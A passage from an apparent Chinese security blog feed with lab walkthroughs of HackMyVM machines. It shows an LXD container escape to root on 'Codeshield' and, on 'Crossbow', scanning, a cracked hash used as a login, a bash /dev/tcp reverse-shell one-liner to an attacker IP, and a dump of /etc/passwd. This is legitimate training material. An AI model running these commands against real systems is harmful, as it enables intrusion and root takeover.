&lt;p&gt;&lt;a href=&quot;https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html#with-internet&quot;&gt;https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html#with-internet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/saghul/lxd-alpine-builder&quot;&gt;https://github.com/saghul/lxd-alpine-builder&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;| &lt;code&gt;plain ┌──(kali💀kali)-[~/temp/codeshield] └─$ git clone https://github.com/saghul/lxd-alpine-builder Cloning into &amp;#39;lxd-alpine-builder&amp;#39;... remote: Enumerating objects: 50, done. remote: Counting objects: 100% (8/8), done. remote: Compressing objects: 100% (6/6), done. remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42 (from 1) Receiving objects: 100% (50/50), 3.11 MiB | 3.21 MiB/s, done. Resolving deltas: 100% (15/15), done.  ┌──(root㉿kali)-[/home/kali/Desktop/tools] └─# cd lxd-alpine-builder                                ┌──(root㉿kali)-[/home/kali/Desktop/tools/lxd-alpine-builder] └─# sudo ./build-alpine Determining the latest release... v3.23 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.8/main/x86 Downloading alpine-keys-2.1-r1.apk alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK Verified OK   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                  Dload  Upload   Total   Spent    Left  Speed 100  3264  100  3264    0     0    831      0  0:00:03  0:00:03 --:--:--   832 --2025-05-30 04:04:20--  http://alpine.mirror.wearetriple.com/MIRRORS.txt Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.24, 2a00:1f00:dc06:10::6 Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.24|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3264 (3.2K) [text/plain] Saving to: ‘/home/kali/temp/codeshield/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’  /home/kali/temp/codeshield/lxd-alpine-builder/r 100%[====================================================================================================&amp;gt;]   3.19K  --.-KB/s    in 0s        2025-05-30 04:04:21 (9.01 MB/s) - ‘/home/kali/temp/codeshield/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [3264/3264]  Selecting mirror http://mirrors.ocf.berkeley.edu/alpine//v3.8/main fetch http://mirrors.ocf.berkeley.edu/alpine//v3.8/main/x86/APKINDEX.tar.gz (1/18) Installing musl (1.1.19-r11) (2/18) Installing busybox (1.28.4-r3) Executing busybox-1.28.4-r3.post-install (3/18) Installing alpine-baselayout (3.1.0-r0) Executing alpine-baselayout-3.1.0-r0.pre-install Executing alpine-baselayout-3.1.0-r0.post-install (4/18) Installing openrc (0.35.5-r5) Executing openrc-0.35.5-r5.post-install (5/18) Installing alpine-conf (3.8.0-r0) (6/18) Installing libressl2.7-libcrypto (2.7.5-r0) (7/18) Installing libressl2.7-libssl (2.7.5-r0) (8/18) Installing libressl2.7-libtls (2.7.5-r0) (9/18) Installing ssl_client (1.28.4-r3) (10/18) Installing zlib (1.2.11-r1) (11/18) Installing apk-tools (2.10.6-r0) (12/18) Installing busybox-suid (1.28.4-r3) (13/18) Installing busybox-initscripts (3.1-r4) Executing busybox-initscripts-3.1-r4.post-install (14/18) Installing scanelf (1.2.3-r0) (15/18) Installing musl-utils (1.1.19-r11) (16/18) Installing libc-utils (0.7.1-r0) (17/18) Installing alpine-keys (2.1-r1) (18/18) Installing alpine-base (3.8.5-r0) Executing busybox-1.28.4-r3.trigger OK: 7 MiB in 18 packages  ┌──(root㉿kali)-[/home/kali/Desktop/tools/lxd-alpine-builder] └─# ls -la                 总计 7256 drwxr-xr-x  3 root root    4096  1月12日 05:53 . drwxrwxrwx 43 kali kali    4096  1月12日 05:34 .. -rw-r--r--  1 root root 3259593  1月12日 05:34 alpine-v3.13-x86_64-20210218_0139.tar.gz -rw-r--r--  1 root root 4113983  1月12日 05:53 alpine-v3.23-x86_64-20260112_0553.tar.gz -rwxr-xr-x  1 root root    8064  1月12日 05:34 build-alpine drwxr-xr-x  7 root root    4096  1月12日 05:34 .git -rw-r--r--  1 root root   26530  1月12日 05:34 LICENSE -rw-r--r--  1 root root     768  1月12日 05:34 README.md                                                                 ┌──(root㉿kali)-[/home/kali/Desktop/tools/lxd-alpine-builder] └─# python3 -m http.server 8888         Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...  &lt;/code&gt;  |
| --- |&lt;/p&gt;
&lt;p&gt;| &lt;code&gt;plain # codeshield earlyp@codeshield:~$ cd /tmp earlyp@codeshield:/tmp$ wget http://192.168.0.106:8888/alpine-v3.23-x86_64-20260112_0553.tar.gz  earlyp@codeshield:/tmp$ lxc image import ./alpine*.tar.gz --alias myimage If this is your first time running LXD on this machine, you should also run: lxd init To start your first container, try: lxc launch ubuntu:22.04 Or for a virtual machine: lxc launch ubuntu:22.04 --vm   Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b earlyp@codeshield:/tmp$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]:  Do you want to configure a new storage pool? (yes/no) [default=yes]:  Name of the new storage pool [default=default]:  Name of the storage backend to use (dir, lvm, zfs, btrfs, ceph, cephobject) [default=zfs]:  Create a new ZFS pool? (yes/no) [default=yes]:  Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:  Size in GiB of the new loop device (1GiB minimum) [default=9GiB]:  Would you like to connect to a MAAS server? (yes/no) [default=no]:  Would you like to create a new local network bridge? (yes/no) [default=yes]:  What should the new bridge be called? [default=lxdbr0]:  What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:  What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:  Would you like the LXD server to be available over the network? (yes/no) [default=no]:  Would you like stale cached images to be updated automatically? (yes/no) [default=yes]:  Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:   earlyp@codeshield:/tmp$  earlyp@codeshield:/tmp$ lxc init myimage mycontainer -c security.privileged=true Creating mycontainer earlyp@codeshield:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to mycontainer earlyp@codeshield:/tmp$ lxc start mycontainer earlyp@codeshield:/tmp$ lxc exec mycontainer /bin/sh ~ # whoami;id;pwd root uid=0(root) gid=0(root) /root ~ # ls -la total 3 drwx------    2 root     root             3 May 30 08:09 . drwxr-xr-x   19 root     root            19 May 30 08:08 .. -rw-------    1 root     root            21 May 30 08:09 .ash_history ~ # cd /mnt/root /mnt/root # ls -la total 4005969 drwxr-xr-x   19 root     root          4096 Aug 22  2023 . drwxr-xr-x    3 root     root             3 May 30 08:08 .. lrwxrwxrwx    1 root     root             7 Aug 10  2023 bin -&amp;gt; usr/bin drwxr-xr-x    4 root     root          4096 Aug 23  2023 boot drwxr-xr-x   20 root     root          4240 May 30 06:20 dev drwxr-xr-x  164 root     root         12288 Aug 30  2023 etc drwxr-xr-x   14 root     root          4096 Aug 26  2023 home lrwxrwxrwx    1 root     root             7 Aug 10  2023 lib -&amp;gt; usr/lib lrwxrwxrwx    1 root     root             9 Aug 10  2023 lib32 -&amp;gt; usr/lib32 lrwxrwxrwx    1 root     root             9 Aug 10  2023 lib64 -&amp;gt; usr/lib64 lrwxrwxrwx    1 root     root            10 Aug 10  2023 libx32 -&amp;gt; usr/libx32 drwx------    2 root     root         16384 Aug 22  2023 lost+found drwxr-xr-x    3 root     root          4096 May 30 08:07 media drwxr-xr-x    2 root     root          4096 Aug 10  2023 mnt drwxr-xr-x    7 root     root          4096 Aug 26  2023 opt dr-xr-xr-x  368 root     root             0 May 30 06:17 proc drwx------    9 root     root          4096 Aug 26  2023 root drwxr-xr-x   50 root     root          1380 May 30 06:51 run lrwxrwxrwx    1 root     root             8 Aug 10  2023 sbin -&amp;gt; usr/sbin drwxr-xr-x   12 root     root          4096 Aug 30  2023 snap drwxr-xr-x    3 root     root          4096 Aug 22  2023 srv -rw-------    1 root     root     4102029312 Aug 22  2023 swap.img dr-xr-xr-x   13 root     root             0 May 30 06:17 sys drwxrwxrwt   25 root     root          4096 May 30 08:09 tmp drwxr-xr-x   14 root     root          4096 Aug 10  2023 usr drwxr-xr-x   16 root     root          4096 Aug 26  2023 var /mnt/root # cd root /mnt/root/root # ls -la total 96 drwx------    9 root     root          4096 Aug 26  2023 . drwxr-xr-x   19 root     root          4096 Aug 22  2023 .. -rw-------    1 root     root            26 May 30 07:53 .bash_history -rw-r--r--    1 root     root          3106 Oct 15  2021 .bashrc drwx------    2 root     root          4096 Aug 28  2023 .cache drwxr-xr-x    3 root     root          4096 Aug 26  2023 .iredmail drwx------    3 root     root          4096 Aug 23  2023 .launchpadlib -rw-------    1 root     root            20 Aug 23  2023 .lesshst drwxr-xr-x    3 root     root          4096 Aug 22  2023 .local -r--------    1 root     root            45 Aug 26  2023 .my.cnf -rw-r--r--    1 root     root            91 Aug 26  2023 .my.cnf-amavisd -rw-r--r--    1 root     root            92 Aug 26  2023 .my.cnf-fail2ban -rw-r--r--    1 root     root            93 Aug 26  2023 .my.cnf-iredadmin -rw-r--r--    1 root     root            91 Aug 26  2023 .my.cnf-iredapd -rw-r--r--    1 root     root            93 Aug 26  2023 .my.cnf-roundcube -r--------    1 root     root            89 Aug 26  2023 .my.cnf-vmail -r--------    1 root     root            94 Aug 26  2023 .my.cnf-vmailadmin -rw-r--r--    1 root     root           161 Jul  9  2019 .profile -rw-r--r--    1 root     root            66 Aug 26  2023 .selected_editor drwx------    2 root     root          4096 Aug 22  2023 .ssh -rw-r--r--    1 root     root             0 Aug 22  2023 .sudo_as_admin_successful -rw-r--r--    1 root     root           290 Aug 26  2023 .wget-hsts drwxr-xr-x    2 root     root          4096 Aug 26  2023 cowrie -rw-r--r--    1 root     root          2528 Aug 26  2023 root.txt drwx------    4 root     root          4096 Aug 22  2023 snap /mnt/root/root # cat root.txt                @@@                                   @@@@@@@@@  @@@@@@                       @@@@@@@@@@@@@@          (@@                  @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗                                     @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗                @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║                @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║                  @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝                   @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝                       @@@@@@@   @@@                                   @@@@@@@                                                               _______________________________________________________________________________________________________  |  _ROOT FLAG!________________________________________________________________________________________  |  | |                                                                                                   | |  | | Educate_your_employees_on_password_safety                                                         | |  | |                                                                                                   | |  | |___________________________________________________________________________________________________| |  |_______________________________________________________________________________________________________| &lt;/code&gt;  |
| --- |&lt;/p&gt;
&lt;p&gt;同样可以拿到shell！&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/codeshield/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/codeshield/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Crossbow</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/crossbow/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/crossbow/</guid><description>Enjoy it :)</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.105   08:00:27:9f:6c:53       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-11 10:18 EST
Nmap scan report for 192.168.0.105
Host is up (0.00071s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp   open  http        Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Polo&amp;#39;s Adventures
9090/tcp open  zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     X-Frame-Options: sameorigin
|     &amp;lt;!DOCTYPE html&amp;gt;
|     &amp;lt;html&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;title&amp;gt;
|     request
|     &amp;lt;/title&amp;gt;
|     &amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot;&amp;gt;
|     &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
|     &amp;lt;style&amp;gt;
|     body {
|     margin: 0;
|     font-family: &amp;quot;RedHatDisplay&amp;quot;, &amp;quot;Open Sans&amp;quot;, Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|_    font-weight: 300;
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.94SVN%I=7%D=1/11%Time=6963BF65%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,DB1,&amp;quot;HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:\x2
SF:0text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DNS-P
SF:refetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Content
SF:-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-orig
SF:in\r\nX-Frame-Options:\x20sameorigin\r\n\r\n29\r\n&amp;lt;!DOCTYPE\x20html&amp;gt;\n&amp;lt;
SF:html&amp;gt;\n&amp;lt;head&amp;gt;\n\x20\x20\x20\x20&amp;lt;title&amp;gt;\r\nb\r\nBad\x20request\r\nc2c\r\
SF:n&amp;lt;/title&amp;gt;\n\x20\x20\x20\x20&amp;lt;meta\x20http-equiv=\&amp;quot;Content-Type\&amp;quot;\x20cont
SF:ent=\&amp;quot;text/html;\x20charset=utf-8\&amp;quot;&amp;gt;\n\x20\x20\x20\x20&amp;lt;meta\x20name=\&amp;quot;v
SF:iewport\&amp;quot;\x20content=\&amp;quot;width=device-width,\x20initial-scale=1\.0\&amp;quot;&amp;gt;\n\x
SF:20\x20\x20\x20&amp;lt;style&amp;gt;\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20font-family:\x20\&amp;quot;RedHatDisplay\&amp;quot;,\x20\&amp;quot;Open\x20Sans\&amp;quot;,\x20Helveti
SF:ca,\x20Arial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20font-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20line-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0}\n\x20\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20&amp;quot;)%r(HTTPOptions,DB1,&amp;quot;H
SF:TTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DNS-Prefetch-Control:\x
SF:20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nCross-Origin-Resource-Policy:\x20same-origin\r\nX-Frame-Opti
SF:ons:\x20sameorigin\r\n\r\n29\r\n&amp;lt;!DOCTYPE\x20html&amp;gt;\n&amp;lt;html&amp;gt;\n&amp;lt;head&amp;gt;\n\x2
SF:0\x20\x20\x20&amp;lt;title&amp;gt;\r\nb\r\nBad\x20request\r\nc2c\r\n&amp;lt;/title&amp;gt;\n\x20\x2
SF:0\x20\x20&amp;lt;meta\x20http-equiv=\&amp;quot;Content-Type\&amp;quot;\x20content=\&amp;quot;text/html;\x
SF:20charset=utf-8\&amp;quot;&amp;gt;\n\x20\x20\x20\x20&amp;lt;meta\x20name=\&amp;quot;viewport\&amp;quot;\x20conte
SF:nt=\&amp;quot;width=device-width,\x20initial-scale=1\.0\&amp;quot;&amp;gt;\n\x20\x20\x20\x20&amp;lt;sty
SF:le&amp;gt;\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margi
SF:n:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20\&amp;quot;RedHatDisplay\&amp;quot;,\x20\&amp;quot;Open\x20Sans\&amp;quot;,\x20Helvetica,\x20Arial,\x20s
SF:ans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\
SF:x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\
SF:x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:
SF:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backgroun
SF:d-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ver
SF:tical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20p\x20&amp;quot;);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.88 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.105/

  _|. _ _  _  _  _ _|_    v0.4.3                     
 (_||| _) (/_(_|| (_| )                              
                                                     
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.105/__26-01-11_10-27-29.txt

Target: http://192.168.0.105/

[10:27:29] Starting:                                 
[10:27:31] 403 -  278B  - /.ht_wsr.txt
[10:27:31] 403 -  278B  - /.htaccess.orig
[10:27:31] 403 -  278B  - /.htaccess.bak1
[10:27:31] 403 -  278B  - /.htaccess_extra
[10:27:31] 403 -  278B  - /.htaccess.sample
[10:27:31] 403 -  278B  - /.htaccess.save
[10:27:31] 403 -  278B  - /.htaccess_sc
[10:27:31] 403 -  278B  - /.htaccess_orig
[10:27:31] 403 -  278B  - /.htaccessOLD2
[10:27:31] 403 -  278B  - /.htaccessBAK
[10:27:31] 403 -  278B  - /.htaccessOLD
[10:27:31] 403 -  278B  - /.htm
[10:27:31] 403 -  278B  - /.html
[10:27:31] 403 -  278B  - /.httr-oauth
[10:27:31] 403 -  278B  - /.htpasswd_test
[10:27:31] 403 -  278B  - /.htpasswds
[10:27:32] 403 -  278B  - /.php
[10:27:42] 200 -  378B  - /app.js
[10:27:46] 200 -  267B  - /config.js
[10:28:10] 403 -  278B  - /server-status
[10:28:10] 403 -  278B  - /server-status/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.105/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.105/
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              db,bak,js,php,txt,html,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 5205]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/app.js               (Status: 200) [Size: 760]
/config.js            (Status: 200) [Size: 321]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 1764472 / 1764480 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;document.addEventListener(&amp;quot;DOMContentLoaded&amp;quot;, function() {
    fetch(API_ENDPOINT, {
        headers: {
            &amp;quot;Authorization&amp;quot;: `Bearer ${API_KEY}`
        }
    })
    .then(response =&amp;gt; response.json())
    .then(data =&amp;gt; {
        if (data &amp;amp;&amp;amp; Array.isArray(data.messages)) {
            const randomMessage = data.messages[Math.floor(Math.random() * data.messages.length)];

            const messageElement = document.createElement(&amp;quot;blockquote&amp;quot;);
            messageElement.textContent = randomMessage;
            messageElement.style.marginTop = &amp;quot;20px&amp;quot;;
            messageElement.style.fontStyle = &amp;quot;italic&amp;quot;;

            const container = document.querySelector(&amp;quot;.container&amp;quot;);
            container.appendChild(messageElement);
        }
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;const API_ENDPOINT = &amp;quot;https://phishing.crossbow.hmv/data&amp;quot;;
const HASH_API_KEY = &amp;quot;49ef6b765d39f06ad6a20bc951308393&amp;quot;;

// Metadata for last system upgrade
const SYSTEM_UPGRADE = {
    version: &amp;quot;2.3.1&amp;quot;,
    date: &amp;quot;2023-04-15&amp;quot;,
    processedBy: &amp;quot;SnefruTools V1&amp;quot;,
    description: &amp;quot;Routine maintenance and security patches&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现/config.js中出现了域名&lt;/p&gt;
&lt;p&gt;利用hosts添加&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.105 phishing.crossbow.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没啥思路&lt;/p&gt;
&lt;p&gt;先hash解密49ef6b765d39f06ad6a20bc951308393&lt;/p&gt;
&lt;p&gt;解密地址:&lt;a href=&quot;https://md5hashing.net/hash/snefru&quot;&gt;https://md5hashing.net/hash/snefru&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;解密结果为ELzkRudzaNXRyNuN6&lt;/p&gt;
&lt;p&gt;尝试在9090端口登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;polo/ELzkRudzaNXRyNuN6
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;渗透测试&lt;/h1&gt;
&lt;h2&gt;终端登录&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;登录进去了&lt;/p&gt;
&lt;p&gt;点击终端&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试利用ssh连接&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# ssh polo@192.168.0.105 
The authenticity of host &amp;#39;192.168.0.105 (192.168.0.105)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:19: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;192.168.0.105&amp;#39; (ED25519) to the list of known hosts.
polo@192.168.0.105&amp;#39;s password: 
Permission denied, please try again.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;权限不允许&lt;/p&gt;
&lt;h2&gt;反弹shell&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/192.168.0.106/1234 &amp;lt;&amp;amp;1&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo pwncat -l 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-pedro&lt;/h1&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;polo@crossbow:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin
messagebus:x:101:103::/nonexistent:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
lea:x:1000:1000::/home/lea:/bin/bash
